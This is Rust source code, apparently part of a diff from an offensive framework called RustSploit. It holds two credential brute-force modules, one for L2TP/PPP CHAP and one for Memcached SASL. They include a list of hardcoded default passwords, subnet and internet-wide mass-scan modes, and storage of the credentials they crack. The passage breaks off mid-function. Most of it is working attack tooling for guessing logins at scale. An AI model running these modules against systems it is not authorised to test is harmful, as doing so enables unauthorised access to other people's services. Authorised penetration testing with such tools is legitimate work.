fn send_sccrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
// Message Type = SCCRQ
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
// Protocol Version = 1.0
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
// Host Name
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
// Assigned Tunnel ID
avps.extend(Self::build_avp(
9,
&self.local_tunnel_id.to_be_bytes(),
true,
));
// Receive Window Size
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send SCCCN (Start-Control-Connection-Connected)
fn send_scccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICRQ (Incoming-Call-Request)
fn send_icrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
avps.extend(Self::build_avp(
14,
&self.local_session_id.to_be_bytes(),
true,
));
avps.extend(Self::build_avp(
15,
&rand::random::<u32>().to_be_bytes(),
true,
)); // Call Serial Number
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICCN (Incoming-Call-Connected)
fn send_iccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send CHAP Response
fn send_chap_response(
&self,
identifier: u8,
challenge: &[u8],
username: &str,
password: &str,
) -> Result<()> {
// Compute CHAP hash: MD5(identifier + password + challenge)
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
data.push(identifier);
data.extend_from_slice(password.as_bytes());
data.extend_from_slice(challenge);
let hash = md5::compute(&data);
// Build CHAP Response packet
let name_bytes = username.as_bytes();
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
let mut chap = Vec::new();
chap.push(CHAP_RESPONSE);
chap.push(identifier);
chap.extend_from_slice(&length.to_be_bytes());
chap.push(16); // Value size (MD5 = 16 bytes)
chap.extend_from_slice(&hash.0);
chap.extend_from_slice(name_bytes);
// Wrap in PPP frame
let mut ppp = Vec::new();
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
ppp.extend_from_slice(&chap);
let pkt = self.build_data(&ppp);
self.sock.send(&pkt)?;
Ok(())
}
/// Receive and parse L2TP packet
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
self.sock.set_read_timeout(Some(timeout))?;
let mut buf = [0u8; 4096];
let n = self.sock.recv(&mut buf)?;
if n < 6 {
return Err(anyhow!("Packet too short"));
}
let flags = u16::from_be_bytes([buf[0], buf[1]]);
let is_control = (flags & 0x8000) != 0;
let has_length = (flags & 0x4000) != 0;
let has_sequence = (flags & 0x0800) != 0;
let mut offset = 2;
if has_length {
offset += 2;
}
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
if has_sequence {
offset += 4; // Ns + Nr
}
let payload = buf[offset..n].to_vec();
Ok(L2tpPacket {
is_control,
_tunnel_id: tunnel_id,
_session_id: session_id,
payload,
})
}
/// Parse control message type from AVPs
fn parse_message_type(payload: &[u8]) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
// Minimum AVP is 6 bytes (header). Zero-length = malformed, break to avoid infinite loop.
if avp_len < 6 || offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
return Some(u16::from_be_bytes([
payload[offset + 6],
payload[offset + 7],
]));
}
offset += avp_len;
}
None
}
/// Parse assigned tunnel/session ID from AVPs
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
// Minimum AVP is 6 bytes. Zero/small length = malformed, break to avoid infinite loop.
if avp_len < 6 || offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
return Some(u16::from_be_bytes([
payload[offset + 6],
payload[offset + 7],
]));
}
offset += avp_len;
}
None
}
}
struct L2tpPacket {
is_control: bool,
_tunnel_id: u16,
_session_id: u16,
payload: Vec<u8>,
}
/// Main L2TP bruteforce entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("[*] Target: {}", target);
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "L2TP",
default_port: 1701,
state_file: "l2tp_hose_state.log",
default_output: "l2tp_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| {
async move {
// Quick UDP port check
let sock = crate::utils::udp_bind(None).await.ok()?;
let addr = format!("{}:{}", ip, port);
sock.connect(&addr).await.ok()?;
sock.send(&[0xc8, 0x02]).await.ok()?; // L2TP SCCRQ marker
let mut buf = [0u8; 256];
match tokio::time::timeout(
std::time::Duration::from_secs(3),
sock.recv(&mut buf),
)
.await
{
Ok(Ok(n)) if n > 0 => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
Some(format!("[{}] {}:{} L2TP responsive\n", ts, ip, port))
}
_ => None,
}
}
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
return run_l2tp_subnet_scan(target).await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "L2TP Port", DEFAULT_L2TP_PORT).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let timeout_ms: u64 = {
let input = cfg_prompt_default(
"timeout_ms",
"Connection timeout (ms)",
&DEFAULT_TIMEOUT_MS.to_string(),
)
.await?;
input
.parse::<u64>()
.unwrap_or(DEFAULT_TIMEOUT_MS)
.max(100)
.min(30000)
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "l2tp_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
// Load wordlists
let users = load_lines(&usernames_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", users.len()).green()
);
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
// Test connectivity first
let addr = format!("{}:{}", normalized, port);
crate::mprintln!("\n[*] Testing L2TP server connectivity...");
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
Ok(true) => crate::mprintln!("[+] L2TP server is responding"),
Ok(false) => crate::mprintln!(
"{}",
"[!] L2TP server not responding to control messages".yellow()
),
Err(e) => crate::mprintln!(
"{}",
format!("[!] Connectivity test failed: {}", e).yellow()
),
}
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_millis(timeout_ms);
crate::mprintln!(
"\n{}",
format!("[*] Starting brute-force on {}", addr).cyan()
);
// Build the try_login closure for the bruteforce engine.
// L2TP is UDP-based, so the actual login runs in spawn_blocking.
let try_login = move |t: String, p: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let login_addr = format!("{}:{}", t, p);
match try_l2tp_login(&login_addr, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let msg = e.to_string();
let retryable = msg.contains("timed out")
|| msg.contains("WouldBlock")
|| msg.contains("Resource temporarily unavailable");
LoginResult::Error {
message: msg,
retryable,
}
}
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries: 2,
service_name: "l2tp",
jitter_ms: 50,
source_module: "creds/generic/l2tp_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored L2TP responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "l2tp_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# L2TP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
/// Subnet scan using the engine's `run_subnet_bruteforce` with UDP support.
async fn run_l2tp_subnet_scan(target: &str) -> Result<()> {
let port: u16 = cfg_prompt_port("port", "L2TP Port", DEFAULT_L2TP_PORT).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passes.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"l2tp_subnet_results.txt",
)
.await?;
let timeout_ms: u64 = {
let input = cfg_prompt_default(
"timeout_ms",
"Connection timeout (ms)",
&DEFAULT_TIMEOUT_MS.to_string(),
)
.await?;
input
.parse::<u64>()
.unwrap_or(DEFAULT_TIMEOUT_MS)
.max(100)
.min(30000)
};
let timeout_duration = Duration::from_millis(timeout_ms);
run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "l2tp",
jitter_ms: 50,
source_module: "creds/generic/l2tp_credcheck",
skip_tcp_check: true, // L2TP is UDP — no TCP pre-check
},
move |ip: std::net::IpAddr, port: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let addr = format!("{}:{}", ip, port);
match try_l2tp_login(&addr, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let msg = e.to_string();
let retryable = msg.contains("timed out")
|| msg.contains("WouldBlock")
|| msg.contains("Resource temporarily unavailable");
LoginResult::Error {
message: msg,
retryable,
}
}
}
}
},
)
.await
}
/// Test L2TP server connectivity
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
let result = tokio::task::spawn_blocking({
let addr = addr.to_string();
move || -> Result<bool> {
let sock = crate::utils::blocking_udp_bind(None)?;
sock.connect(&addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
session.send_sccrq()?;
match session.recv_packet(timeout) {
Ok(pkt) => {
if pkt.is_control {
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
return Ok(msg_type == L2TP_SCCRP);
}
}
Ok(false)
}
Err(_) => Ok(false),
}
}
})
.await?;
result
}
/// Attempt L2TP login with credentials
async fn try_l2tp_login(
addr: &str,
username: &str,
password: &str,
timeout: Duration,
) -> Result<bool> {
let addr = addr.to_string();
let username = username.to_string();
let password = password.to_string();
tokio::task::spawn_blocking(move || try_l2tp_login_sync(&addr, &username, &password, timeout))
.await?
}
/// Synchronous L2TP login attempt
fn try_l2tp_login_sync(
addr: &str,
username: &str,
password: &str,
timeout: Duration,
) -> Result<bool> {
let sock = crate::utils::blocking_udp_bind(None)?;
sock.connect(addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
// Step 1: Send SCCRQ
session.send_sccrq()?;
// Step 2: Receive SCCRP
let pkt = session.recv_packet(timeout)?;
if !pkt.is_control {
return Err(anyhow!("Expected control message, got data"));
}
match L2tpSession::parse_message_type(&pkt.payload) {
Some(L2TP_SCCRP) => {
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
session.remote_tunnel_id = tid;
}
session.nr += 1;
}
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
None => return Err(anyhow!("No message type in response")),
}
// Step 3: Send SCCCN
session.send_scccn()?;
// Step 4: Send ICRQ
session.send_icrq()?;
// Step 5: Receive ICRP
let pkt = session.recv_packet(timeout)?;
if pkt.is_control {
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
session.remote_session_id = sid;
}
session.nr += 1;
}
}
// Step 6: Send ICCN
session.send_iccn()?;
// Step 7: Wait for CHAP Challenge
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 6 {
// Check for PPP CHAP
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 6 {
let protocol =
u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
if chap_code == CHAP_CHALLENGE {
let identifier = pkt.payload[offset + 3];
let value_size = pkt.payload[offset + 6] as usize;
if pkt.payload.len() >= offset + 7 + value_size {
let challenge =
pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
challenge_data = Some((identifier, challenge));
break;
}
}
}
}
}
}
Err(_) => break,
}
}
let (identifier, challenge) =
challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
// Step 8: Send CHAP Response
session.send_chap_response(identifier, &challenge, username, password)?;
// Step 9: Wait for CHAP Success/Failure
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && !pkt.payload.is_empty() {
if pkt.payload.len() < 3 { continue; }
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 2 {
let protocol =
u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
match chap_code {
CHAP_SUCCESS => return Ok(true),
CHAP_FAILURE => return Ok(false),
_ => continue,
}
}
}
}
}
Err(_) => break,
}
}
Err(anyhow!("No CHAP response received"))
}
@@ -0,0 +1,723 @@
use anyhow::{anyhow, Result};
use colored::*;
use std::{io::Write, net::IpAddr, time::Duration};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
time::timeout,
};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// Constants
const DEFAULT_MEMCACHED_PORT: u16 = 11211;
const CONNECT_TIMEOUT_MS: u64 = 5000;
const READ_TIMEOUT_MS: u64 = 3000;
// Memcached binary protocol constants
const BINARY_MAGIC_REQUEST: u8 = 0x80;
const BINARY_MAGIC_RESPONSE: u8 = 0x81;
const OPCODE_SASL_AUTH: u8 = 0x21;
const SASL_STATUS_SUCCESS: u16 = 0x0000;
const SASL_STATUS_AUTH_ERROR: u16 = 0x0020;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("memcached", "memcached"),
("admin", "password"),
("root", "root"),
("admin", ""),
("memcache", "memcache"),
("admin", "123456"),
("root", "password"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Memcached Brute Force".to_string(),
description: "Detect open Memcached instances and brute-force SASL authentication. \
First checks for unauthenticated access (text protocol version/stats commands), \
then attempts SASL PLAIN auth over the binary protocol. Supports default credential \
testing, combo mode, concurrent connections, and subnet/mass scanning."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ Memcached Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ Open Instance Detection + SASL Auth Testing (11211) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "Memcached",
default_port: 11211,
state_file: "memcached_hose_state.log",
default_output: "memcached_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| async move {
let addr = format!("{}:{}", ip, port);
let connect_timeout = Duration::from_secs(5);
let read_timeout = Duration::from_secs(3);
// Try to connect and send version command
let mut stream = match crate::utils::network::tcp_connect(&addr, connect_timeout).await {
Ok(s) => s,
_ => return None,
};
// Send text protocol version command
if timeout(connect_timeout, stream.write_all(b"version\r\n"))
.await
.is_err()
{
return None;
}
let mut buf = vec![0u8; 1024];
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
_ => return None,
};
let response = String::from_utf8_lossy(&buf[..n]);
if response.contains("VERSION") {
// Open Memcached instance (no auth)
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
port,
"memcached",
"(open)",
"(no auth)",
crate::cred_store::CredType::Password,
"creds/generic/memcached_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!(
"[{}] {}:{} Memcached OPEN (no auth) - {}\n",
ts,
ip,
port,
response.trim()
));
}
if response.contains("ERROR") {
// Might need SASL auth — try default creds via binary protocol
let creds = [
("admin", "admin"),
("memcached", "memcached"),
("admin", "password"),
("root", "root"),
];
for (user, pass) in creds {
// Need a fresh connection for each SASL attempt
if let Ok(result) =
try_memcached_sasl(&addr, user, pass, connect_timeout, read_timeout)
.await
{
if result {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&ip.to_string(),
port,
"memcached",
user,
pass,
crate::cred_store::CredType::Password,
"creds/generic/memcached_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!(
"[{}] {}:{}:{}:{}\n",
ts, ip, port, user, pass
));
}
}
}
}
None
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
let port: u16 =
cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passes.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"memcached_subnet_results.txt",
)
.await?;
let timeout_secs: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
input.parse::<u64>().unwrap_or(5).max(1).min(60)
};
let connect_timeout = Duration::from_millis(timeout_secs * 1000);
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "memcached",
jitter_ms: 50,
source_module: "creds/generic/memcached_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let ct = connect_timeout;
let rt = read_timeout;
async move {
let addr = format!("{}:{}", ip, port);
match try_memcached_sasl(&addr, &user, &pass, ct, rt).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
let port: u16 = cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
let normalized = normalize_target(target)?;
let connect_addr = format!("{}:{}", normalized, port);
// First, check if the instance is open (unauthenticated)
crate::mprintln!(
"\n{}",
format!("[*] Checking {} for unauthenticated access...", connect_addr).cyan()
);
let connect_timeout = Duration::from_millis(CONNECT_TIMEOUT_MS);
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
match check_memcached_open(&connect_addr, connect_timeout, read_timeout).await {
MemcachedStatus::Open(version) => {
crate::mprintln!(
"{}",
format!(
"[+] Memcached at {} is OPEN (no authentication required)!",
connect_addr
)
.green()
.bold()
);
crate::mprintln!("{}", format!("[+] Version: {}", version).green());
crate::mprintln!(
"{}",
"[!] WARNING: This Memcached instance is publicly accessible without auth."
.red()
.bold()
);
{
let id = crate::cred_store::store_credential(
&normalized,
port,
"memcached",
"(open)",
"(no auth)",
crate::cred_store::CredType::Password,
"creds/generic/memcached_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
let continue_brute =
cfg_prompt_yes_no("continue_bruteforce", "Continue with SASL brute-force anyway?", false).await?;
if !continue_brute {
return Ok(());
}
}
MemcachedStatus::AuthRequired => {
crate::mprintln!(
"{}",
"[*] Memcached requires SASL authentication. Proceeding with brute-force.".cyan()
);
}
MemcachedStatus::Unreachable(err) => {
crate::mprintln!(
"{}",
format!("[!] Cannot connect to {}: {}", connect_addr, err).red()
);
let continue_anyway =
cfg_prompt_yes_no("continue_anyway", "Continue anyway?", false).await?;
if !continue_anyway {
return Ok(());
}
}
}
// Ask about default credentials
let use_defaults =
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file =
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file =
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!(
"At least one wordlist or default credentials must be enabled"
));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
input.parse::<u64>().unwrap_or(5).max(1).min(60)
};
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
input.parse::<usize>().unwrap_or(2).max(1).min(10)
} else {
0
};
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file", "memcached_brute_results.txt")
.await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", usernames.len()).green()
);
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!(
"[*] Added {} default credentials",
DEFAULT_CREDENTIALS.len()
)
.green()
);
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let ct = Duration::from_secs(connection_timeout);
let rt = Duration::from_millis(READ_TIMEOUT_MS);
let try_login = move |t: String, p: u16, user: String, pass: String| {
let connect_t = ct;
let read_t = rt;
async move {
let addr = normalize_target(&format!("{}:{}", t, p))
.unwrap_or_else(|_| format!("{}:{}", t, p));
match try_memcached_sasl(&addr, &user, &pass, connect_t, read_t).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "memcached",
jitter_ms: 50,
source_module: "creds/generic/memcached_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored Memcached responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "memcached_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# Memcached Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
